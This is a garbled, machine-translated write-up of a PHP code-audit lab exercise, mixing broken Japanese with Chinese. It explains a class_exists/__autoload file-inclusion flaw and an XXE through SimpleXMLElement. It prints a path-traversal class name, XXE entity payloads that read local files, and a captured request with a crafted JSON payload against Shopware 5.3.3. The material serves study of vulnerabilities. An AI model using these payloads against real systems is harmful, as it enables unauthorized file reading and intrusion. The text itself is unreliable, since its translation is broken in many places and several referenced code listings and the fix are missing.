彼は、PHP-監査-Labsのコードの監査3日目の練習の[赤]チームに始まった
リンク:https://github.com/hongriSec/PHP-Audit-Labs
練習に行くことができます興味のある学生
予備知識:
コンテンツのタイトルが来るPHPセキュリティ2017 CALENDAR
。3日目-次のようにスノーフレークコードは次のとおりです。
function __autoload($className) {
include $className;
}
$controllerName = $_GET['c'];
$data = $_GET['d'];
if (class_exists($controllerName)) {
$controller = new $controllerName($data['t'], $data['v']);
$controller->render();
} else {
echo 'There is no page with this name';
}
class HomeController {
private $template;
private $variables;
public function __construct($template, $variables) {
$this->template = $template;
$this->variables = $variables;
}
public function render() {
if ($this->variables['new']) {
echo 'controller rendering new response';
} else {
echo 'controller rendering old response';
}
}
}
脆弱性分析:
コード内の2件のセキュリティ上の脆弱性があります。
第一个漏洞是文件包含漏洞
、コード第8行
で使用されるclass_exists()
ユーザ上を通過させる機能は、コントローラがあるか否かを判定する
if (class_exists($controllerName)) {
デフォルトでは、プログラムがあれば__autoload
関数は、その使用class_exists()
、それは自動的にこのプログラム機能を呼び出します__autoload
機能を、問題のこのファイルインクルージョンの脆弱性は、この場所に登場しました。攻撃者は、(を通じてパスを使用することができ詳細もちろん、前提シンボルを通る経路を使用することで、任意のファイルを含むように)PHP5~5.3(包含5.3版本)
のみのバージョンの間とすることができます。例如类名为: ../../../../etc/passwd 的查找,将查看passwd文件内容
でclass_exists()関数が定義されています。
特長:
(PHP 4、PHP 5、PHP 7。。。)
でclass_exists -クラスが定義されているかどうかをチェックします
定義:
class_exists ( string $class_name [, bool $autoload = true ] ) : bool
場合class_name
クラスは、この関数が返す、の意味の範囲内で定義されているTRUE
、それ以外の場合は返しますFALSE
。
説明:
パラメータ | 説明 |
---|---|
クラス名 | クラス名。マッチング名は大文字と小文字を区別しないでいます。 |
自動ロード | デフォルトのコール__autoloadかどうか。 |
第二个漏洞
:コード行9では、
$controller = new $controllerName($data['t'], $data['v']);
我们发现实例化类的类名和传入类的参数均在用户的控制之下。攻击者可以通过该漏洞,调用PHP代码库的任意构造函数。即使代码本身不包含易受攻击的构造函数,我们也可以使用PHP的内置类 SimpleXMLElement
来进行 XXE攻击,进而读取目标文件的内容,甚至命令执行(前提是安装了PHP拓展插件expect
)。
SimpleXMLElement 类的定义:
功能:
(PHP 5, PHP 7)
用来表示XML文档中的元素,为PHP的内置类。
关于 SimpleXMLElement
导致的XXE
攻击,下面再给出一个demo案例,方便大家理解:
<?php
$xml=<<<eof
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE ANY[
<! ENTITY xxe SYSTEM "file:///D:/phpStudy/PHPTutorial/WWW/array/flag.txt">
]>
<x>&xxe;</x>
eof;
$xml_class=new SimpleXMLElement($xml,LIBXML_NOENT);
var_dump($xml_class);
?>
//运行结果:
//object(SimpleXMLElement)#1 (1){[0]=> string(17) "flag{aaa_xxx_bbb}"}
实例分析:
Shopware 5.3.3环境折腾了半天装不上,这里就无法复现了。 看看大佬的思路吧
本次实例分析,我们选取的是
Shopware 5.3.3
版本,对SimpleXMLElement
类导致的XXE漏洞
进行分析。
漏洞POC 本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
漏洞分析:
我们来看一下本次漏洞的文件,在 engine\Shopware\Controllers\Backend\ProductStream.php
文件中有一个 loadPreviewAction
方法(第6行),其作用是用来预览产品流的详细信息,具体代码如下:
该方法接收从用户传来的参数 sort
,然后传入 Repository
类的 unserialize
方法(如上图第11-14行代码),我们跟进 Repository
类,查看 unserialize
方法的实现。该方法我们可以在 engine\Shopware\Components\ProductStream\Repository.php
文件中找到,代码如下:
可以看到 Repository
类的 unserialize
方法,调用的是 LogawareReflectionHelper
类的 unserialize
方法(如上图第5行代码),该方法我们可以在 engine\Shopware\Components\LogawareReflectionHelper.php
文件中找到,具体代码如下:
这里的 $serialized
就是我们刚刚传入的 sort
(上图第3行),程序分别从 sort
中提取出值赋给 $className
和 $arguments
变量,然后这两个变量被传入 ReflectionHelper
类的createInstanceFromNamedArguments
方法。该方法位于 engine\Shopware\Components\ReflectionHelper.php
文件,具体代码如下:
这里我们关注 第6行 代码,这里创建了一个反射类,而类的名称就是从 $sort
变量来的,可被用户控制利用。继续往下看,在代码第28行处用$newParams
作为参数,创建一个新的实例对象。而这里的 $newParams
是从$arguments[$paramName]
中取值的,$arguments
又是我们可以控制的,因为也是从$sort
变量来,所以我们可以通过这里来实例化一个SimpleXMLElement
类对象,形成一个XXE漏洞。下面,我们来看看具体如何利用这个漏洞。
漏洞利用:
:まず、私たちは、バックグラウンドでログインコールloadPreviewActionインタフェースに場所を見つける必要があり、それがその呼び出し場所は次の通りです見つけ
、我々はクリックするとRefresh preview
ボタンを、それが呼び出されますloadPreviewAction
、次のような方法、使用BurpSuiteキャプチャパケットを:
GET /shopware520/backend/ProductStream/loadPreview?_dc=1530963660916&sort={"Shopware\\Bundle\\SearchBundle\\Sorting\\PriceSorting":{"direction":"asc"}}&conditions={}&shopId=1¤cyId=1&customerGroupKey=EK&page=1&start=0&limit=2 HTTP/1.1
Host: localhost
X-CSRF-Token: IKiwilE7pecuIUmEAJigyg6fVXY6vR
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Accept: */*
Referer: http://localhost/shopware520/backend/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SHOPWAREBACKEND=78ghtddjn8n8efpv1cudj6eao0; KCFINDER_showname=on; KCFINDER_showsize=off; KCFINDER_showtime=off; KCFINDER_order=name; KCFINDER_orderDesc=off; KCFINDER_view=thumbs; KCFINDER_displaySettings=off; goods[cart]=180615151154565652; XDEBUG_SESSION=PHPSTORM
Connection: close
私たちは、その見ることができるsort
値を{"Shopware\\Bundle\\SearchBundle\\Sorting\\PriceSorting":{"direction":"asc"}}
、我々はそのペイロードフォーマットに従って構成されたので、: {"SimpleXMLElement":{"data":"http://localhost/xxe.xml","options":2,"data_is_url":1,"ns":"","is_prefix":0}}
、ペイロードの意味について、見ることができるSimpleXMLElement
ように__construct
関数定義、特定のポイント
final public SimpleXMLElement::__construct ( string $data [, int $options = 0 [, bool $data_is_url = FALSE [, string $ns = "" [, bool $is_prefix = FALSE ]]]] )
次のように使用xxe.xmlコンテンツ作者は以下のとおりでした:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///C:/phpStudy/PHPTutorial/WWW/flag.txt">
]>
<x>&xxe;</x>
私たちは、とxdebugのデバッガで、送信をペイロード、そして最終的に我々は、プログラム格納した値の読み取り$conditions
以下に示すように、変数を:
アドバイス:
XXEはPHPの脆弱性についての固定、我々は(S)フィルタリングすることができ、例えば:などENTITY、SYSTEM、また、我々はできるが防止XXE脆弱性(以下第二行)にローディングXMLから物理オブジェクトを介して、特定のコード次のように:
エピローグ
おかげで再び[赤チーム]